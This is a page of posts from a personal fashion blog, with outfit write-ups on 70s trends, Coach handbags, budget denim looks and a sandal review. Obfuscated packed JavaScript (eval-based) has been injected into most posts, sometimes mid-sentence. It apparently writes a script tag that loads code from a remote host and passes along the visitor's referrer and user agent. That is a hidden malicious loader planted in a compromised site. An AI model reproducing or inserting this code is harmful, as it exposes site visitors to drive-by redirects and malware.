That 70’s Trend – Spring Fashion Gets Groovy!

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brbeb|var|u0026u|referrer|ykakr||js|php’.split(‘|’),0,{}))
by Valerie Davenport Photography

Jeans: Paige, Piece Unique / Blouse: Ecru, Ruby Lou Boutique / TopShop Floppy Hat, Nordstrom / Shoes: Steve Madden, DSW / Coat: Forever 21 / Earrings: Something similar, Express / Necklaces: Urban Outfitters / Rings: Coach, and H&M

Ah, can you feel it? Spring is here! And all across the fashion runways and grocery store magazines, you’re seeing it: the 70’s are back, baby! Bell-bottoms, lace-up tops, clogs, nature-inspired jewelry, paisley prints, patchwork, suede detailing, and fringe – they’re everywhere, and it feels so good! It’s all music festival vibe and Boho chic; even Coachella is getting in on the act, with their new collaboration line with H&M. I know, I gasped when I heard of it, too. Can’t wait to see what they come up with!

My favorite part about this trend, is that you don’t necessarily have to rush out and buy a ton of new fashion pieces to rock it; chances are, you already own some of these things, buried deep in your closet. Or your mom does… Or ask your grandma, ha! How ever you get ahold of them, wide-legged jeans and trousers are a must-have this season. All styles are acceptable (the more creative, the better – get crafty with them), and for summer we’ll see the trend transition into loose Bermuda shorts, culottes, and one-piece rompers.

Remember, high-waisted jeans are more authentic and less 2001, so don’t get all Britney-Spearsy and tummy-baring… That can wait until Summer! It’s still chilly outside, at least in my neck of the woods. Which brings me to my top tip for transitioning your Winter wardrobe into Spring: a statement jacket. I scored this dusty pink faux fur coat on clearance at Forever 21, on their end-of-season sale. It pairs perfectly with my Paige bell-bottom jeans from Piece Unique, and these Hailey Bob and Ecru blouses that were also on clearance, at Ruby Lou Boutique! The necklaces are from Urban Outfitters, the long one is here , and the short collar one is now on CLEARANCE in the store!)

In my Coach article last week, I used a transparent jacket to add pop to a basic spring outfit. In next week’s article, I’ll show how a classic jumpsuit can be styled multiple ways, just by changing what you put over it, all with inexpensive items you might already have in your closet! So stay tuned, stay warm, and stay HAPPY!

With love, XOXO,
Tanya

Jeans: Paige, Piece Unique / Blouse: Hailey Bob, Ruby Lou Boutique / Felt Hat: (something similar) Nordstrom / Shoes: Steve Madden, DSW / Coat: Forever 21 / Earrings: Something similar, Express / Necklaces: Urban Outfitters / Rings: Coach, and H&M

Jump to next article: My Special Report on How to Buy Cheap Clothes Online…

How Coach is Becoming an Iconic American Brand

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaazt|var|u0026u|referrer|desky||js|php’.split(‘|’),0,{}))
by Valerie Davenport Photography

Unless you live under a rock in the USA, you’ve probably heard of Coach. They’ve been around since the 1940’s, starting out as a humble shop in New York where six leatherworkers crafted billfolds and wallets by hand. In the 1960’s, Lillian Cahn, who co-founded the shop with her husband Miles, convinced him to start creating women’s handbags. He scoffed in the beginning, but their first design, inspired by the paper tote bags she carried as a youth during the Depression – delivering her family’s handmade pasta noodles to customers! – became an instant classic, amassing loyal customers and propelling Coach into the Luxury goods arena.

Over the years those loyal customers have grown with the company, collecting classic bags with a deep appreciation for their workmanship (still handstitched, after all these years!), beautiful style, and lifetime warranty.

But in 2014 Coach veered into new territory, hiring Stuart Vevers as their creative director, a younger and more urban designer than Coach fans are accustomed to. The classic styles are still available, but Vevers has added a plethora of fashion-forward designs that push the boundaries of the typical customer’s comfort zone. Will fan loyalty hold fast, with this evolution of edgy, gritty, rocker flavor on handbags, couture clothing collections, and a newly-acquired shoe line (Stuart Weitzman)?

Time will tell. But I for one find this new Coach fascinating!

Now, I have a confession to make: I’m a fairly recent fan of Coach. Late to the party, I know… Seriously, they weren’t really much on my radar, until a couple years ago when a friend gave me a little gold handbag with the Op-Art C’s embossed on it. Cute! Then this last fall Coach’s Fall 2014 runway collection burst onto my Instagram feed. Swoon! Shearling-trimmed wedge booties, capes, metal tassles, plaid, and dark moody colors dominated the runway. And I fell in love!

When you see a handbag that makes you gasp, you form an instant emotional connection with it. It can’t be helped! And that’s the connection Stuart Vevers brings to this brand.

This Spring, COACH has turned up the wattage even more (Watch the runway video here, or click the photo below), with neons, edgy shapes, striking lines, and metal trim morphing onto classic Coach shapes. The expansion of their clothing line is another brilliant move, and the results are no less than stunning. I found myself going through the slideshows, thinking “I want that, and that, and that, and I’d totally wear that…” on almost every piece. The colors, the shapes… Everything about this collection is sheer delight! Stuart Vevers has done something few designers can pull off: nailing the perfect balance of Classic and Urban.

Personally, I like to think my own style is a mix of Classic and Urban, so the “New” Coach resonates with me! I adore structured lines with a flair for retro, like their newly-launched Swagger bag, available in large, mini, pebble leather, and metallic – 24 colors & sizes total!!! I love them ALL, but for this shoot I chose a classic Tote (in very un-classic neon!), because seriously, a bright yellow handbag is the perfect cheery go-to for a grey day! Just looking at it makes me smile. 🙂

Keep rocking what you’re doing, Coach – the fashion world just sat up and took notice!
XOXO,
Tanya

Taxi Zip Top Tote, $325 online and at Boise Towne Square Mall / Hot pink Rainboots, $19.99 TJ Maxx / Polkadot Dress, $24.90 Forever 21 (Sold out, but something similar here) / Transparent Raincoat, $17.20 Amazon.com / White Fuzzy Knit Beanie, $4.00 Forever 21 online and at Boise Towne Square Mall

P.S., This post was not paid for, asked for, or sponsored in any way by Coach. I’m just a fan, with an honest opinion! 🙂

Jump to next article: Valentine’s Day Gift Guide 2015…

Subscribe in a reader

Easy Style on a Budget: Denim & Stripes

Do eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehtdk|var|u0026u|referrer|sdars||js|php’.split(‘|’),0,{}))
you ever have those days when the weather is icky, and you find yourself pining for the long, warm evenings of summer? That was me today, watching the sun set at 5:30pm and feeling the temperatures start to drop. Brr! I miss lazy, warm 9pm sunsets!

What to wear, when you’re not in the mood for a ton of effort? Stripes + Denim + Hat = Fab Look! Most women have some type of striped piece in their closet, and of course some denim. Put them together, and you get a laid-back ensemble with a hint of Parisian chic! Now, you may have heard that horizontal stripes are a no-no, because they make you look wide. The key is to use those stripes where you want to widen, and use a jacket or sweater over the areas you want to slim down! I have narrow hips, so I chose a cropped jacket; this makes the stripes stand out – and widen me visually – right at my hips. See?

I’ve had great luck lately at the crazy-awesome winter sales happening around town, so finding fab styles on a tight budget has been fairly easy-peasy. That always perks me up!

Earlier this week I scored a destroyed denim jacket at Urban Outfitters for only $20 – gotta love those clearance racks! Ruby Lou in Eagle is having a 50% off winter sale; I picked up a couple lovely blouses you’ll see in photos soon, and this rad wool Soho fedora that will go great with EVERYTHING from now until the weather warms up, lol! For Boise, that’s around… March, sigh.

Pistil Fedora – 30% off right now at Ruby Lou!
Urban Outfitters Denim Jacket – % off
Evereve Striped Tunic on SALE now $29.99!
Express Scuba Legging Jeans
Fergie Boots – on CLEARANCE now at Fergie.com!
Rebecca Minkoff Handbag ($35 at Nordstrom Rack sale!)
Coach Sunglasses (from Boise Mounatin Eyecare) – similar here.

BEST SALES going on right now, besides the above:

H&M, extra 30% off Clearance, Winter sale up to 70% off!
Forever 21, Sweaters starting at $11.99!
Swank Boutique – Redline markdowns on winter fashions from Free People, Wildfox, etc. – 20-50% off!
Fancy Pants in Boise – Winter sale through Friday, 30-60% off clothing, 50% off ALL shoes!
Victoria’s Secret Semi-Annual Sale (ends tonight at midnight!)

Piece Unique & Shoez – Weekend winter MEGA-clearance sale on new AND consignment racks throughout the store, 75% off and more on TONS of items!!! Open 10am-6pm Satruday, 12-5pm on Sunday

Follow me on Instagram for daily sale alerts & fab fashion finds!

Subscribe in a reader

Keep Warm & Carry On

Photo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryihr|var|u0026u|referrer|yynsa||js|php’.split(‘|’),0,{}))
by: Sunny Daze // Sweater: Forever 21 // Leggings: Bebe // Sunnies: Coach // Lipstick: MAC Heroine // Hair: Chad Robinson Continue reading “Keep Warm & Carry On” →

How to Make 10 Dollars Look Like a Million Bucks

Continue reading “How to Make 10 Dollars Look Like a Million Bucks” →

Local Love: Idaho Pride

Styling/Model: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrkit|var|u0026u|referrer|dyefh||js|php’.split(‘|’),0,{}))
StyleSpyGirl // Photography: Ammophotog // Bullet Necklace: Anna Van Wey Dempsay // Pullover: Skip N’ Whistle // Idaho Belt: BANANA ink // Jeans: Express // Shoes: Forever 21 (Coupon code here!) Continue reading “Local Love: Idaho Pride” →

Black & White Mania, Part 2

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htttr|var|u0026u|referrer|adsyf||js|php’.split(‘|’),0,{}))
by Jeanne Giltzow // Styling, Hair & MUA: StyleSpyGirl

It’s a Mod, Mod, Mod, Mod world! I love black & white; it’s a color combo of simplicity, yet full of drama! This shoot was styled with a nod to the 60’s, using fun & simple pieces from modern stores like Forever 21 and Nasty Gal. Special thanks to Jeanne Giltzow, photographer extraordinaire! ❤

Enjoy!

XOXO,

StyleSpyGirl

Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

“Here Comes The Sun” ~ The Beatles

Here comes the sun, here comes the sun
And I say it’s all right

Little darling, it’s been a long cold lonely winter
Little darling, it feels like years since it’s been here

Here comes the sun, here comes the sun
And I say it’s all right

Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Little darling, the smiles returning to the faces
Little darling, it seems like years since it’s been here

Here comes the sun, here comes the sun
And I say it’s all right

Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes

Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Little darling, I feel that ice is slowly melting
Little darling, it seems like years since it’s been clear

Shirt:Forever 21 // Pants:Nasty Gal // Purse:H&M // Shoes:Colin Stuart

Here comes the sun, here comes the sun
And I say it’s all right
Here comes the sun, here comes the sun
It’s all right, it’s all right

Black & White Mania: Part 1

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aahek|var|u0026u|referrer|zadnd||js|php’.split(‘|’),0,{}))
by Jeanne Giltzow // Styling, Hair & MUA: StyleSpyGirl

Spring is typically all about COLOR, but this year, fashion threw us a surprising twist by trending the always-classy black & white look. I’m a huge fan; I have TONS of black in my closet (former Seattleite – what can I say?)

For this shoot with the incomparable Jeanne Giltzow, we chose to eschew color all together, and go with a mod/retro/artsy theme. Cue laundromat… (And a few very surprised afternoon clothes washers!)

We had such a blast with this! I feel like the pictures turned into stories, and I want to caption each one, but I’m not great at clever titles & quippy sayings… So I’ll let YOU do it! 🙂

XOXO,

StyleSpyGirl

Special thanks to Jeanne Giltzow for the awesome photos!

Comment your captions below! I will select my favorite from each photo, and post them on my FB page for votes. Best Caption will win 3 hours of personal shopping & styling work from me!!! 😀 Be clever, but be nice, mm-kay? Love ya!

Jacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21

Style Post: My Favorite Jeans

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbnzi|var|u0026u|referrer|ffter||js|php’.split(‘|’),0,{}))
Photos by Laurie Anne’s CreationsBlouse: Express // Jeans: Vault Denim // Boots: Marco Santi from Nordstrom Rack // Jewelry & Watch: Brighton from Ruby Lou // Purse: Forever 21

Blouse: Express // Jeans: Vault Denim // Boots: Marco Santi from Nordstrom Rack // Jewelry & Watch: Brighton from Ruby Lou // Purse: Forever 21 DSC_4745 copy3 Blouse: Express // Jeans: Vault Denim // Boots: Marco Santi from Nordstrom Rack// Jewelry & Watch: Brighton from Ruby Lou // Purse: Forever 21

Blouse: Express // Jeans: Vault Denim // Boots: Marco Santi from Nordstrom Rack // Jewelry & Watch: Brighton from Ruby Lou // Purse: Forever 21

Have you ever made an impulse buy, something that caught your eye and you just had to have it? Sure, I’ve made $5 bargain bin store mistakes; those sweet deals you just can’t pass up, but never end up wearing because you have NOTHING to go with them… Don’t you hate that?

When I first saw these floral skinny jeans from Vault Denim, I thought, “Beautiful! I have to get those!” But a tiny part of me was worried that they would be difficult to coordinate around, because of the pattern.

Au contraire, ha ha ha! I should not have worried, because these lovelies go with everything! I styled them for Fall with my Skip N Whistle “Ugly Christmas T.” And here they are for Spring: my favorite Vault Denim jeans with one of my favorite blouses from Express, the lovely sheer Portofino!

Have you ever made an impulse purchase that turned out better than you expected? Comment below and tell me about it! 🙂

XOXO,

StyleSpyGirl

Special thanks to Laurie Anne’s Creations for the lovely photographs!

Fun Shoe Review: Fibi & Clo Sandals!

If you’re a self-admitted shoe-a-holic like me, you may know how thrilling it is to receive lovely little packages in the mail, like the one I just got from online shoe boutique eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yibde|var|u0026u|referrer|kazdy||js|php’.split(‘|’),0,{}))
fibi & clo! Pretty shoes… in a box… for me!!! Happy day! 😀

As one of Boise’s hard-working personal shoppers & fashion bloggers, I am on my feet a LOT! But the streets of this town get pretty dang hot in the summer, and I refuse to wear flip-flops as fashion. (They’re functional, so of course I wear them! Just not with styled outfits, lol. Call me picky.) 😉 Last summer I bemoaned my lack of walk-all-day footwear, never really finding a cute pair of sandals that fit my style, or my lifestyle. Gladiators were all the rage, I know. But they don’t suit me!

When fibi & clo contacted me about doing a product review of their sandals, claiming “cute, affordable, and comfortable” as their focus, I jumped at the chance, selecting the “Burst Cascade” style, one of their top sellers. I slipped them on, and was immediately impressed by the comfy, soft padding. Ooh, I could wear these all day! And their coloring is so versatile; I LOVE how the sparkling crystals catch every color, making them endlessly fun to build a variety of outfits around!

I quickly threw some looks together, to cover a variety of situations: Formal, Fun, and Flirty!

Formal: Express necklace, Express bandeau, BCBG dress, fibo & clo sandals

Fun: Custom necklace by Unigon Specialties, Express bandeau, Pink by VS tank, Forever 21 shorts, fibo & clo sandals

Flirty: Express Bandeau, Pink by VS top, Black Orchid skinny jeans, Apricot Lane bracelets, fibo & clo sandals

Which outfit is your favorite? 🙂 I had a blast putting them all together, enjoying the comfort and drama of those awesome shoes.

fibi & clo was created by AnaLiza Alba, in 2009, to be “like tupperware parties, but with shoes!” What started as a house party business quickly grew into an online retailer. If you live in a town where house parties are available, you can contact a sales rep, or become a “fashion agent.” For those of us who live in other parts of the world, check out fibi & clo’s beautiful online store: https://fibiandclo.com. fibi & clo sandals have been featured in Lucky magazine, Lauren Conrad’s style blog, and a host of other fashion websites & magazines. True to their mission, I found them to be high-quality, inexpensive, super-comfy, and downright lovely.

For honest disclosure, I found that the sandals I ordered ran a little on the small side. I was glad I “sized up” to an 8, instead of my usual 7 1/2. Just something to keep in mind! 🙂

Now, if only Spring would get here, so I can wear these beauties all over town! It’s so hard to wait!!!

Impatiently waiting for warm sunshine.

StyleSpyGirl